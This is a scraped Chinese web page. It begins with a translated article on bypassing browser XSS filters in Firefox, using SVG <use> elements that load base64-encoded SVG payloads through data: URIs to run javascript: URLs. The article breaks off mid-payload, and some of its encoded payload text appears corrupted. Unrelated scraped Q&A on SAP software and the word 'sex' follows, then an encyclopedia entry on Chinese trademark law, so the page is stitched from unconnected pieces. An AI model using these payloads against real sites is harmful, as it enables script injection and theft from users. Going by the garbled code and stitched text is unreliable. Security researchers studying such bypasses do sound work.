欢迎来到网络566软件网站,专注软件开发技术第一平台！
当前位置： >
用SVG绕过浏览器XSS审计
时间：&&来源：
[Translated From]：http://insert-/2014/02/svg-fun-time-firefox-svg-vector.html ==SVG - use el>
&[Translated From]：http://insert-/2014/02/svg-fun-time-firefox-svg-vector.html
======================
SVG - &use& element
======================
SVG中的&use&元素用于重用其他元素，主要用于联接&defs&和alike，而我们却用它来引用外部SVG文件中的元素
元素通过其id被引用，在&use&标签的xlink:href属性中以'#'井字符开头，外部元素的引用同样如此
基本结构如下所示：
&use xlink:href='external.svg#rectangle' /&
external.svg:
&svg id=&rectangle& xmlns=&http://www.w3.org/2000/svg&
xmlns:xlink=&http://www.w3.org/1999/xlink&
width=&100& height=&100&&
&a xlink:href=&javascript:alert(location)&&
&rect x=&0& y=&0& width=&100& height=&100& /&
sxternal.svg文件以&svg&标签开始，其id设置为rectangle(矩形)，使用&rect&标签绘一个矩形。可以使用&a&环绕&rect&标签，这样会创建一个超链接。使用script的url协议，可点击的超链接在点击后会执行Javascript。
虽然SVG是经由&use&标签加载的，Javascript将会得到执行。有一点需要注意，它只能加载SVG文件，必须满足同源策略
======================
======================
由于加载的外部SVG文件必须是同源的，这个特性看起来似乎无法作为有用的攻击向量，但Firefox会帮我们提升这个攻击向量
首先，你可以使用data:url协议，它允许我们百忙之中从内部创建一个文件。它要求正确的mime-type，在这里为image/svg+xml。mimie-type后是我们的攻击载荷或关键字base64。特别地，由于数据被base64编码，这有助于避免突破HTML结构的问题。
现在我们不必再依赖于服务器上的另一个文件了：
test.html:
&use xlink:href=&data:image/svg+base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle& /&
解码后的base64载荷：
&svg id=&rectangle&&
xmlns=&http://www.w3.org/2000/svg&&
xmlns:xlink=&http://www.w3.org/1999/xlink&
width=&100& height=&100&&
&a xlink:href=&javascript:alert(location)&&
&rect x=&0& y=&0& width=&100& height=&100& /&
浏览器会显示出一个黑色的矩形，当点击时会弹出其location
但是为什么要烦扰受害者去点击呢，他们从来都不会去做该做的事:)
external.svg中的&script&标签不会被解析，但是SVG支持&foreignObject&元素
通过阐述这个对象需要的扩展属性，有可能加载非SVG元素
这就意味着现在有可能是有&iframe&、&embed&及其他所有支持的HTML元素了，我们可以从一堆元素中进行选择执行Javascript，这里使用&embed&+JavascriptURL协议
看如下SVG：
&svg id=&rectangle&
xmlns=&http://www.w3.org/2000/svg&
xmlns:xlink=&http://www.w3.org/1999/xlink&
width=&100& height=&100&&
&script&alert(1)&/script&
&foreignObject width=&100& height=&50&
requiredExtensions=&http://www.w3.org/1999/xhtml&&
&embed xmlns=&http://www.w3.org/1999/xhtml&&
src=&javascript:alert(location)& /&
&/foreignObject&
它会通过&foreignObject&加载嵌入的标签，使用JavascriptURL协议执行Javascript
然后我们用base64对载荷进行编码，通过data:协议加载它
&use xlink:href=&data:image/svg+base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlikiIC8+DQ[1]&&&本文章由网发布,转载勿必保留网站链接地址
最新热门排行
售前咨询QQSAP是什么意思_百度知道
SAP是什么意思
SAP是一个领先的ERP软件.Systems ,Application,and Products in Data processingSAP R/3软件具备以下功能和主要特点:
功能性：R/3以模块化的形式提供了一整套业务措施,其中的模块囊括了全部所需要的业务功能并把用户与技术性应用软件相联而形成一个总括的系统，用于公司或企业战略上和运用上的管理。
集成化: R/3把逻辑上相关联的部分连接在一起。重复工作和多余数据被完全取消，规程被优化，集成化的业务处理取代了传统的人工操作。
灵活性：R/3系统中方便的裁剪方法使之具有灵活的适应性，从而能满足各种用户的需要和特定行业的要求。R/3还配备有适当的界面来集成用户自己的软件或外来的软件。
开放性：R/3的体系结构符合国际公认的标准，使客户得以突破专用硬件平台及专用系统技术的局限。同时，SAP提供的开放性接口，可以方便地将第三方软件产品有效地集成到R/3系统中来。
用户友好：图标与图形符号简化了人机交互时的操作。统一设计的用户界面确保了工作人员能够运用同样的熟悉的技术从事不通的工作。
模块化：R/3的模块结构使用户既可以一个一个的选用新的实用程序，也可以完全转入一个新的组织结构体系。
可靠：作为用户的商业伙伴SAP始终不断地为集成化软件的质量设立越来越多的国际标准。
低成本高效益：信息处理是取得竞争优势的要点之一。当竞争加剧时，企业必须更加努力地获取其市场占有量。这就要使用高度集成化的数据处理软件，而R/3正是这种软件的优秀典范。
国际适用：R/3支持多种语言，而且是为跨国界操作而设计的。R/3可以灵活地适应各国的货币及税物要求。
服务：R/3系统实施过程中，用户将得到SAP技术专家的全面支持与服务，包括组织结构方面与技术方面的咨询，项目计划与实施方面的协助，以及培训课程。
其他类似问题
按默认排序
其他5条回答
既是公司的名字
又是这个公司的产品就叫SAPSystems Applications and Products主要的产品是ERP产品 即enterprise resource planning 企业资源计划.平常大家说SAP顾问 就是说是做SAP这个产品的顾问
SAP起源于Systems Applications and Products in Data Processing。SAP既是公司名称，又是其产品——企业管理解决方案的软件名称。SAP是目前全世界排名第一的ERP软件。
简单来说就是一款ERP软件 用于企业管理的
德国SAP公司下的一款软件
是一个erp系统，sap公司的SAP是一个领先的ERP软件.Systems ,Application,and Products in Data processingSAP R/3软件具备以下功能和主要特点:功能性：R/3以模块化的形式提供了一整套业务措施,其中的模块囊括了全部所需要的业务功能并把用户与技术性应用软件相联而形成一个总括的系统，用于公司或企业战略上和运用上的管理。集成化: R/3把逻辑上相关联的部分连接在一起。重复工作和多余数据被完全取消，规程被优化，集成化的业务处理取代了传统的人工操作。灵活性：R/3系统中方便的裁剪方法使之具有灵活的适应性，从而能满足各种用户的需要和特定行业的要求。R/3还配备有适当的界面来集成用户自己的软件或外来的软件。开放性：R/3的体系结构符合国际公认的标准，使客户得以突破专用硬件平台及专用系统技术的局限。同时，SAP提供的开放性接口，可以方便地将第三方软件产品有效地集成到R/3系统中来。用户友好：图标与图形符号简化了人机交互时的操作。统一设计的用户界面确保了工作人员能够运用同样的熟悉的技术从事不通的工作。模块化：R/3的模块结构使用户既可以一个一个的选用新的实用程序，也可以完全转入一个新的组织结构体系。可靠：作为用户的商业伙伴SAP始终不断地为集成化软件的质量设立越来越多的国际标准。低成本高效益：信息处理是取得竞争优势的要点之一。当竞争加剧时，企业必须更加努力地获取其市场占有量。这就要使用高度集成化的数据处理软件，而R/3正是这种软件的优秀典范。国际适用：R/3支持多种语言，而且是为跨国界操作而设计的。R/3可以灵活地适应各国的货币及税物要求。服务：R/3系统实施过程中，用户将得到SAP技术专家的全面支持与服务，包括组织结构方面与技术方面的咨询，项目计划与实施方面的协助，以及培训课程。1972年，德国，曼海姆的IBM公司。任职销售顾问的Hasso Plattner在等待着公司对自己建议的回复。他的建议就是开发财务软件包，用现成的软件包取代昂贵的定制应用。当IBM公司回绝了他的建议之后，他和4名做软件工程师的同事离开了IBM，白手起家创办SAP软件公司。而今，每天早上，世界500强中80%的公司都会进入由SAP公司提供的管理和协同商务平台，进行高效率的工作。一向好斗、性格倔强、勇于接受挑战的SAP联合主席兼首席执行官Plattner在经历了SAP的诸多风浪之后，当他看到SAP在软件市场低迷的情况下，2001年第三季度仍旧实现了赢利预期，前三个月的收入达到50亿欧元，收入增长率为23%，高兴地评论道: “虽然近来软件市场，特别是美国市场有巨大的变化，客户纷纷推迟软件的购买计划，但对于现在最有效的解决方案，企业还是愿意投资的。越来越多的企业转向SAP，因为他们相信SAP能给他们带来更高的投资回报率、更优秀的功能和便捷的集成。”这家总部位于德国沃尔多夫市，号称“全球最大的企业管理解决方案供应商、全球第三大独立软件供应商、全球领先的协同电子商务解决方案供应商”的软件巨人目前在全球的120多个国家和地区拥有1.65多万家客户，向全球提供基于“五大支柱”战略的产品，这就是mySAP SCM（供应链管理）、mySAP PLM（产品生命周期管理）、mySAP CRM（客户关系管理）、SAP Portals 的Enterprise Portals（企业门户）和SAPMarkets 的Exchanges（交易集市）。 在全球，SAP拥有员工2.5万多名，在总部，SAP的开发人员有5000多名，而SAP的开发实验室和开发中心更是遍布全球多个角落。下面是他的某一个版本的介绍＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝SAP R/3软件具备以下功能和主要特点:功能性：R/3以模块化的形式提供了一整套业务措施,其中的模块囊括了全部所需要的业务功能并把用户与技术性应用软件相联而形成一个总括的系统，用于公司或企业战略上和运用上的管理。集成化: R/3把逻辑上相关联的部分连接在一起。重复工作和多余数据被完全取消，规程被优化，集成化的业务处理取代了传统的人工操作。灵活性：R/3系统中方便的裁剪方法使之具有灵活的适应性，从而能满足各种用户的需要和特定行业的要求。R/3还配备有适当的界面来集成用户自己的软件或外来的软件。开放性：R/3的体系结构符合国际公认的标准，使客户得以突破专用硬件平台及专用系统技术的局限。同时，SAP提供的开放性接口，可以方便地将第三方软件产品有效地集成到R/3系统中来。用户友好：图标与图形符号简化了人机交互时的操作。统一设计的用户界面确保了工作人员能够运用同样的熟悉的技术从事不通的工作。模块化：R/3的模块结构使用户既可以一个一个的选用新的实用程序，也可以完全转入一个新的组织结构体系。可靠：作为用户的商业伙伴SAP始终不断地为集成化软件的质量设立越来越多的国际标准。低成本高效益：信息处理是取得竞争优势的要点之一。当竞争加剧时，企业必须更加努力地获取其市场占有量。这就要使用高度集成化的数据处理软件，而R/3正是这种软件的优秀典范。国际适用：R/3支持多种语言，而且是为跨国界操作而设计的。R/3可以灵活地适应各国的货币及税物要求。服务：R/3系统实施过程中，用户将得到SAP技术专家的全面支持与服务，包括组织结构方面与技术方面的咨询，项目计划与实施方面的协助，以及培训课程。★生产计划和控制★销售与分销★物料管理★财务会计★管理会计★资产管理★系统技术基础
sap的相关知识
等待您来回答
您可能关注的推广回答者：回答者：
下载知道APP
随时随地咨询
出门在外也不愁是什么意思啊？_百度知道
是什么意思啊？
提问者采纳
其他类似问题
11人觉得有用
按默认排序
其他7条回答
1. 性别[U]What sex is the baby?这婴儿是什么性别?2. 男性;女性[C]There are members of both sexes in the committee.委员会里男女委员都有。3. 性,色情[U]There's too much sex in the film.这电影里色情场面太多。4. 性行为,性交;性欲;性感[U]American youth in the sixties were rather open about sex.六十年代的美国青年对两性关系相当开放。.
名,性,性别,性特征.形,性的,有关性的及动,确定性别.不及动,性交
在英文简历里出现这个词，应该是“姓别”的意思！楼上的朋友，性感应该是形容词sexy!
意思是：塞一下就爽死，所以叫塞克死。
性 性别 性感
跟性有关的
基本解释sex n.性别, 男性或女性, 性欲, &口&性交, &俚&生殖器, 阴茎vt.区别...的性别, 引起...的性欲习惯用语 | 词性变化 | 参考词汇 | 更多...近/反义词现代英汉综合大辞典基本解释sex adj.(=six) [拉]六; 六的习惯用语 | 词性变化 | 参考词汇 | 更多...常用词组近/反义词现代英汉词典基本解释sex n.性；性别Which sex is your cat?你的猫是公的还是母的？男；女female sex女性性交，性行为词性变化vt.辨别性别有…的性欲highly sexed性欲强烈的常用词组性放纵例句Sex性问题sex determination性别决定sex education性教育sex film性电影sex reversal性反转搜索更多短句 名诗佳句排行榜爱心词典 (Loving Dictionary) 百万词友共建的百科词典sex词性及解释n. 性别, 性欲vt. 区别...的性别, 引起...的性欲【医】 性别, 性 更多解释 相关词条sex-
sex hygiene
sex character
sex pheromone
sex chromosome
gentle sex
sex object
sex reversal
sex offender
sex dimorphism
sex function
sex ectohormone
sex aversion
sex-limited
sex feathers
等待您来回答
您可能关注的推广
下载知道APP
随时随地咨询
出门在外也不愁商标_百度百科
收藏 查看&商标[shāng biāo]
商标是的经营者在其或者的商品上或者服务的提供者在其提供的服务上采用的用于区别商品或服务来源的由图形字母数字三维标志声音颜色组合或上述要素的组合具有显著特征的是现代的在商业领域而言商标包括文字图形字母数字三维标志和颜色组合以及上述要素的组合均可作为申请注册经国家核准注册的商标为注册商标受法律保护商标通过确保商标注册人享有用以标明商品或服务或者许可他人使用以获取报酬的专用权而使商标注册人受到保护
商标的起源可追溯至古代当时工匠将其签字或标记印制在其艺术品或实用产品上时至今日这些标记演变成为今天世界通行的商标注册和保护制度是用来区别一个经营者的或服务和其他者的商品或的标记我国商标法规定经商标局核准注册的商标包括商品商标服务商标和集体商标商标商标注册人享有商标专用权受法律保护如果是驰名商标将会获得跨类别的商标专用权法律保护
World Intellectual Property OrganizationWIPO官方网站的答案商标是将某商品或服务标明是某具体个人或企业所生产或的商品或服务的显著标志商标的起源可追溯到古代当时工匠们将其签字或标记印制在其艺术品或实用产品上随着岁月迁流这些标记演变成为今天的商标注册和保护制度这一制度帮助消费者和购买某产品或因为由产品或服务上特有的商标所标示的该产品或服务的性质和质量符合他们的需求
根据2013修正能将自己的或服务与他人地商品和服务区分开的标志包括文字三维标志和颜色组合以及上述要素的组合是企业的无形资产商标的价值多少没有一个非常固定的判定商标在投资或经营过程中作为资产的价值即商标资产所含资本量的大小是指其资本价值而不是荣誉上的或主观上的价值常见的价值判定通常决定于商标的认知度认可度以商标能够为企业带来的预估测值来评测通过确保商标注册人享有用以标明商品或服务或者许可他人使用以获取的专用权而使人受到保护
从广义上讲通过对商标注册人加以奖励使其获得承认和而对全世界的积极和进取精神起到促进作用商标保护还可阻止诸如假冒者之类的者用相似的区别性标记来推销低劣或不同产品或服务的行为这一制度能使有技能有进取心的人们在尽可能公平的条件下进行和服务的生产与销售从而促进国际贸易的发展
是产品与包装装潢画面的重要组成部分设计精美寓意深刻新颖别致个性突出的商标能很好地装饰产品和美化包装使消费者乐于购买作为构成商标的字母是指或注音符号的最小书写单位包括拼音文字外文字母如英文字母拉丁字母等原把仅以字母构成的商标归在之列而在2001年新修订的把字母作为商标的构成要素之一这样规定更符合实际也便于商标主管部门对依法审查核准
作为的数字也是2001年的新规定构成商标的数字既可以是阿拉伯数字也可以是中文大写数字
作为构成商标的三维标志又可称为立体标志是具有长宽高三种度量的立体物标志以三维标志构成的商标标志的称为它与我们通常所见的表现在一个平面上的商标图 案不同而是以一个立体物质形态出现这种形态可能出现在商品的外形上也可以表现在商品的容 器或其他地方增加对立体商标的注册和保护规定是2001年修订的所增添的新内容这将使得中国的商标保护制度更加完善
颜色组合单独作为商标要素也是2001年商标法中新增加的内容独特新颖的颜色组合不仅可以给人一美感而且具有能起到表示产品或者来源的作用也能起到区别生产者经营者或者服务者的作用
上述六类商标要素可以单独作为商标注册也可以将上述这些要素中两个或两个以上要素相同或不相同的任意组合但必须符合商标法第八条第九条的有关规定
作为构成商标的文字图形三维标志或其组合的颜色在申请注册商标时若未明确提出指定颜色要求均按黑白颜色注册也按黑白颜色保护明确提出指定颜色或颜色组合的则按所指定的颜色或颜色组合注册也按指定颜色或颜色组合保护1商标法规定下列标志不得作为商标使用
一同的名称国徽勋章相同或者近似的以及同中央国家机关所在地特定地点的名称或者物的名称图形相同的
二同外国的国家名称国旗国徽军旗相同或者近似的但该国政府同意的除外
三同的名称旗帜徽记相同或者近似的但经该组织同意或者不易误导公众的除外
四与表明实施控制予以保证的官方标志检验印记相同或者近似的但经授权的除外
五同红十字的名称标志相同或者近似的
六带有民族歧视性的
七夸大宣传并带有欺骗性的
八有害于社会主义道德风尚或者有其他不良影响的
县级以上行政区划的或者公众知晓的外国地名不得作为商标但是地名具有其他含义或者作为集体商标证明商标组成部分的除外已经注册的使用地名的商标继续有效
经商标局核准注册的商标为注册商标包括商品商标和集体商标商标注册人享有受法律保护
集体商标是指以团 体或者其他组织名义供该组 织成员在商事活动中使用以表明使用者在该组织中的成员资格的标志
证明商标是指由对某种商品或者服务具有监督能力的组 织所控制而由该组织以外的单位或者个人使用于其商品或者服务用以证明该商品或者服务的原产地原 料制造方法质量或者其他特定品质的标志
2但下列标志如未经过使用而取得显著特征并便于识别的不得作为商标注册
一仅有本商品的图形型号的
二仅仅直接表示商品的质量主要原料功能用途重量数量及其他特点的
三缺乏显著特征的
3复制摹仿或者翻译他人未在中国注册的禁止使用
就相同或者申请注册的商标是复制摹仿或者翻译他人未在中国注册的驰名商标容易导致混淆的不予注册并禁止使用
就不相同或者不相类似商品申请注册的商标是复制摹仿或者翻译他人已经在中国注册的驰名商标误导公众致使该驰名商标注册人的可能受到损害的不予注册并禁止使用一商标名称的拟制原则
给商标命名除了要符合商标命名的法定要求外还应注意遵循下列原则
1易认易读易懂易记易写
商标的名称首先要明白简洁用词要通俗易懂不要用艰深冷僻古奥晦涩的词用字要力求笔画简单易于书写印刷不要用笔画繁杂难于辨认或已被淘汰了的古字废字读音要响亮顺口有音乐美感要避免诘屈聱牙平仄不分此外名称的文字也不能过长
2把握特征突出重点
商标名称很简短只能显示商品某一方面的特点这就要把握特征突出重点这种突出或侧重于展示身份如或侧重于展示技术如古汉养生精或侧重于展示用料如或侧重于展示价值如钻石电扇或侧重于展示效用如白丽牌或勾画形象如小白兔牙膏或抒写情趣如喜盈门毛巾被或显示气派如公主牌钢琴或表达产品品类如垦得机等等
3名实一体避免自相矛盾
名称要从某一个侧面反映出商品的某种特征这种特征应该与商品有一定联系而不应出现商品的名与实不相称或有损的现象如黑豹牌农用车黑豹显示了车子的强劲有力菊花电扇的菊花给人以清凉感名实结合是合理的
4要考虑消费对象的心理
商品有一定的消费对象命名要考虑消费对象心理才能赢得市场例如儿童产品要考虑儿童心理所以有小天使童鞋娃哈哈果奶老年保健品要考虑老人的心理所以有百年乐中成药老来福口服液如意牌拐杖化妆品的消费对象主要是青年女性所以商标名称时髦洋派奥琪雅倩丝丽花丝宝金芭蕾高档消费品则针对购买者要慎重选择的特点用商标名称来显示商品的名贵精良耐用先进所以有牌钢琴蓝宝石牌等等
5名称要有美感有寓意
所谓有美感是指名称鲜明能使人产生美好联想如郁金香牌壁纸企鹅牌莲花牌味精
有寓意是指名称能包含较多的信息如中意既表明产品引进了技术又告诉人们该产品可令人满意老来福既有中文意思老来得福又与英文LONGLIFE(长寿)谐音
二商标名称的拟制方法
1介绍说明式
这是一种最常用的方法这种方法用语平实通俗有的介绍产地如青岛有的介绍功效如神力一匙丽永久永芳健民如意
这种方式的特点是名称是喻指商品某方面的特点如电视机的名称长虹喻灿烂牡丹喻鲜艳孔雀喻多彩
这种方式的特点是名称虽不是喻体但它能隐隐约约地透出较多的其他信息如华日暗示了产品的技术航天暗示了尖端技术男子汉香烟暗示了某种风度标准价值取向玉羊牌毛毯暗示了毛毯的用料
这种方式的特点是名称能给人以丰富的如长城象征了一种创造精神象征了中华民族的古老悠久这是形象比较具体的象征物有的更抽象如双环三角那就只能由消费者见仁见智了
权威式的特点是用权威命名或借用名人如牌星海牌或自封权威如天王牌霸王牌　6祝愿式
祝愿式的特点是名称有吉祥喜庆色彩如美好喜盈门等等
命名的方法多种多样这里只是粗略列举了最常用的几种具体运用还要根据实际情况灵活处理1文字商标
是指仅用文字构成的商标包括中国汉字和少数民族字外国文字和阿拉伯数字或以各种不同字组合的商标
是指仅用图形构成的商标其中又能分为
1记号商标是指用某种简单符号构成图案的商标
2几何图形商标是以较抽象的图形构成的商标
3自然图形商标是以人物动植物自然风景等自然的物象为对象所构成的图形商标有的以实物照片有的则经过加工提炼概括与夸张等手法进行处理的自然图形所构成的商标
是指用拼音文字或注音符号的最小书写单位包括拼音文字外文字母如英文字母拉丁字母等所构成的商标
用阿拉伯数字罗马数字或者是中文大写数字所构成的商标
5三维标志商标
又称为立体商标用具有长宽高三种度量的三维立体物标志构成的商标标志它与我们通常所见的表现在一个平面上的商标图案不同而是以一个立体物质形态出现这种形态可能出现在商品的外形上也可以表现在商品的容器或其他地方这是2001年新修订的商标法所增添的新内容这将使得中国的商标保护制度更加完善
6颜色组合商标
颜色组合商标是指由两种或两种以上的彩色排列组合而成的商标文字图案加彩色所构成的商标不属颜色组合商标只是一般的组合商标
7上述1～6的组合商标
指由两种或两种以上成分相结合构成的商标也称复合商标
以音符编成的一组音乐或以某种特殊声音作为商品或服务的商标即是音响商标如美国一家唱片公司使用11个音符编成一组乐曲把它灌制在他们所出售的录音带的开头作为识别其商品的标志这个公司为了保护其音响的专用权防止他人使用仿制而申请了音响商标目 前只在美国等少数国家得到承认在中国尚不能注册为商标
气味商标就是以某种特殊气味作为区别不同商品和不同服务项目的商标目 前这种商标只在个别国家被承认它是商标在中国尚不能注册为商标
10位置商标
位置商标是指某种商品特定部位的立体形状图案颜色以及它们的组合通过他们区分提供商品或服务的提供者1商品商标
商品商标就是商品的标记它是商标的最基本表现形式通常所称的商标主要使指商品商标其中商品商标又可分为商品生产者的产业商标和商品销售者的商业商标
服务商标是指用来区别与其它同类服务项目的标志如航空导游保险和金融邮电饭店电视台等单位使用的标志就是服务商标
是指以团体协会或者其他组织名义注册供该组织成员在商事活动中使用以表明使用者在该组织中的成员资格的标志
按商标用途分类
是指生产或经营者把特定的标志或企业名称用在自己或经营的商品上的商标这种标志也有人叫它是厂标店标或司标
是指由对某种商品或者服务具有监督能力的组织所控制而由该组织以外的单位或者个人使用于其商品或者服务用以证明该商品或者服务的原产地原料制造方法质量或者其他特定品质的标志如真皮标志纯羊毛标志电工标志等
等级是指在商品质量规格等级不同的一种商品上使用的同一商标或者不同的商标这种商标有的虽然名称相同但图形或文字字体不同有的虽然图形相同但为了便于区别不同商品质量而是以不同颜色不同纸张不同印刷技术或者其他标志作区别也有的是用不同商标名称或者图形作区别
组集商标是指在同类商品上由于品种规格等级价格的不同为了加以区别而使用的几个商标并把这个几个商标作为一个组集一次提出注册申请的商标组集商标与等级商标有相似之处
亲族商标是以一定的商标为基础再把它与各种文字或图形结合起来使用于同一企业的各类商品上的商标也称派生商标
备用商标也称贮藏商标是指同时或分别在相同商品或类似商品上注册几个商标注册后不一定马上使用而是先贮存起来一旦需要时再使用
防御商标是指驰名商标所有者为了防止他人在不同类别的商品上使用其商标而在非类似商品上将其商标分别注册该种商标称之为防御商标目前我国商标并未有防御商标的相关规定
联合商标是指同一商标所有人在相同或类似商品上注册的几个相同或者近似的商标有的是文字近似有的是图形近似这些的商标称为联合商标这种相互近似商标注册后不一定都使用其目的是为了防止他人仿冒或注册从而更有效地保护自己的商标1普通商标
在正常情况下使用未受到特别法律保护的绝大多数商标
是指在较大地域范围(如全国国际)的市场上享有较高声誉为相关公众所普遍熟知有良好质量信誉并享有特别法律保护的商标根据商标法第二十三条规定注册商标的有效期为十年自核准之日起计算有效期期满之前十二个月可以进行续展并缴纳续展费用每次续展有效期仍为十年续展次数不限如果在这个期限内未提出申请的可给予 6 个月的宽展期若宽展期内仍未提出续展注册的商标局将其注册商标注销并予公告依照中华人民共和国商标法第四条的规定从事生产制造加工拣选经销商品或者提供服务的自然人需要取得商标专用权的应当向商标局申请商标注册以自然人名义办理商标注册转让等申请事宜除按照有关规定提交商标图样等材料外还应注意以下事项
一可以以其个体工商户登记的字号作为申请人名义提出商标注册申请也可以以执照上登记的负责人名义提出商标注册申请以负责人名义提出申请时应提交以下材料的复印件
一负责人的身份证
二营业执照
二可以以其营业执照登记的字号或有关主管机关登记文件登记的字号作为申请人名义提出商标注册申请也可以以全体合伙人的名义共同提出商标注册申请以全体合伙人的名义共同提出申请时应提交以下材料的复印件
一合伙人的身份证
二营业执照
三合伙协议
三可以以其承包合同签约人的名义提出商标注册申请申请时应提交以下材料的复印件
一签约人身份证
二承包合同
四其他依法获准从事经营活动的自然人可以以其在有关行政主管机关颁发的登记文件中登载的经营者名义提出商标注册申请申请时应提交以下材料的复印件
一经营者的身份证
二有关行政主管机关颁发的登记文件
五自然人提出商标注册申请的商品和服务范围应以其在营业执照或有关登记文件核准的经营范围为限或者以其自营的农副产品为限
六对于不符合商标法第四条规定的商标注册申请商标局不予受理并书面通知申请人
申请人提供虚假材料取得商标注册的由商标局撤销该注册商标
七办理转让商标申请受让人为自然人的应参照上述事项办理1注册准备
选择注册方式
一种注册方式是自己到国家工商行政管理局商标局申请注册另一种注册方式是委托一家经验丰富的代理服务
准备商标图样5张指定颜色的彩色商标应交着色图样5张黑白墨稿1张长和宽不大于10厘米不小于5厘米商标图样方向不清的应用箭头标明上下方如果是个人提出申请需出示身份证并递交复印件另加个体营业执照复印件并且经营范围与注册的商标一致若是企业申请则出示企业营业执照副本并递交复印件盖有单位公章商标注册申请书
4按商品与服务分类提出申请
商品和服务项目共分为45类其中商品34类服务项目11类申请注册时应按商品与服务分类表的分类确定使用商标的商品或同一申请人在不同类别的商品上使用同一商标的应按不同类别提出注册申请
5申请日的确定
这是最重要的一点由于中国商标注册采用一旦您和其他企业发生商标权的纠纷申请日在先的企业将受法律保护所以确立申请日十分重要申请日以商标局收到申请书的日期为准
接下来就是注册公告三个程序需要强调的是经过商标局初审通过的商标要在刊登公告三个月后无人提出异议才可以注册完成该商标即受法律保护已注册商标的有效期为十年自核准注册之日起计算有效期满需要继续使用的可以申请注册
商标完成注册后商标局向注册人颁发证书
若是通过代理组织的由代理人向注册人发送商标注册证直接办理注册的注册人应在接到领取商标注册证通知书后三个月内到商标局领证同时还应携带领取商标注册证的介绍信领证人身份证及复印件原件和加盖当地工商部门的章戳的复印件领取商标注册证通知书商标注册人名义变更的需附送工商部门出具的变更证明
注一件新申请商标从申请到发证一般需要一年到三年半左右时间其中申请受理和约需一个月约需24到30个月期三个月核准公告到发证约2个月
7,商标注册申请须知
自然人法人或者其他组织对其生产制造加工拣选或经销的商品或者提供的服务需要取得商标专用权的应当依法向以下简称商标局提出商标注册申请狭义的商标注册申请仅指商品和服务商标注册申请申请证明商标注册申请集体商标注册申请特殊标志登记申请广义的商标注册申请除包括狭义的商标注册申请的内容外还包括变更续展转让注册申请异议申请申请以及其他商标注册事宜的办理商标注册需要遵循下列原则
1.自愿注册和强制注册相结合原则我国大部分商标采取自愿注册原则国家法律行政法规规定必须使用注册商标的商品主要指卷烟雪茄烟有包装的烟丝的生产经营者必须申请商标注册未经核准注册的商品不得在市场销售
2.显著原则申请注册的商标应当具有显著特征便于识别并不得与他人在先取得的合法权利如外观设计专利权姓名权著作权相冲突
3商标合法原则申请注册的商标不得使用法律禁止的标志已经注册的使用地名的商标继续有效未经授权代理人或者代表人以自己的名义将被代理人或者被代表人的商标进行注册被代理人或者被代表人提出异议的不予注册并禁止使用商标中有商品的地理标志而该商标并非来源于该标志所标示的地区误导公众的不予注册并禁止使用但是已经善意取得注册的继续有效
4.对商标注册申请进行审查公告时坚持申请在先为主使用在先为辅的原则两个或者两个以上的商标注册申请人在同一种商品或者类似商品上以相同或者近似的商标申请注册的初步审定并公告申请在先的商标同一天申请的初步审定并公告使用在先的商标驳回其他人的申请不予公告
5.禁止抢注商标原则申请商标注册不得以不正当手段抢先注册他人已经使用并有一定影响的商标商号Trade Names又称企业标志厂商标志主要是指从事生产或经营活动的经营者在进行登记注册时用以表示自己营业名称的一部分是工厂商店公司集团等企业的特定标志和名称依法享有专有使用权商号权属于保护工业产权巴黎公约所定义的工业产权范畴经过依法登记而取得的商号同样受到法律的保护
我国法律对商号权未有明确规定但民法通则中对企业名称权的保护有具体规定商号权具有人身权属性与特定的商业主体的人格与身份密切联系与主体资格同生同灭商号权又具有精神财产权属性依世界通例都确认商号权的排他性和专用性商号权人不仅可依法使用其商号而且有权禁止他人重复登记或擅自冒用盗用其商号并有权对侵害其商号权行为提起诉讼要求赔偿对于商号权的转让各国法律有不同的规定我国民法通则的规定类似于法国法的规定允许对商号买卖许可使用或设为抵押
商号与商标的关系极为密切经常一起出现在同一商品上商号有的情况下可以成为商标的一个组成部分或同一内容但有时又不是商号和商标在作用和性质上是有区别的主要表现为
1商标主要是用来区别商品的代表着商品的信誉必须与其所依附的某些特定商品相联系而存在商标权属知识产权
商号主要是用来区别企业的代表着厂商的信誉必须与商品的生产者或经营者相联系而存在商号权属名称权所以商号权与人身或身份联系更紧密
2商标按照商标法的规定进行注册和使用具有专用权其专用权在全国范围内有效并有法定的时效性
商号按照公司法或企业登记管理条例登记注册同样具有专用权其专用权在所登记的工商行政管理机关管辖的地域范围内有效并与企业同生同灭
3在我国商标权有专门的商标法保护
而商号权仅比照民法通则关于企业名称权的保护方法保护
4带有某公司商号标记的含注册商标的商品销售到另一国家时销售人有必要就其商标在另一国家注册却没有必要就其商号再行注册
当有些企业将自己的商号注册成商标使用或者将已注册的商标变更登记为企业的商号商标和商号就成为同一内容或是其中的一个组成部分这都是商标法公司法及企业登记管理条例所允许的指直接向各个国家/地区商标主管机关分别递交注册申请的注册方式也称&逐一国家注册&是国际商标保护最常用的一种方式是与一些国际性或区域性的知识产权保护组织注册方式相对而言的保护方式
美国商标注册
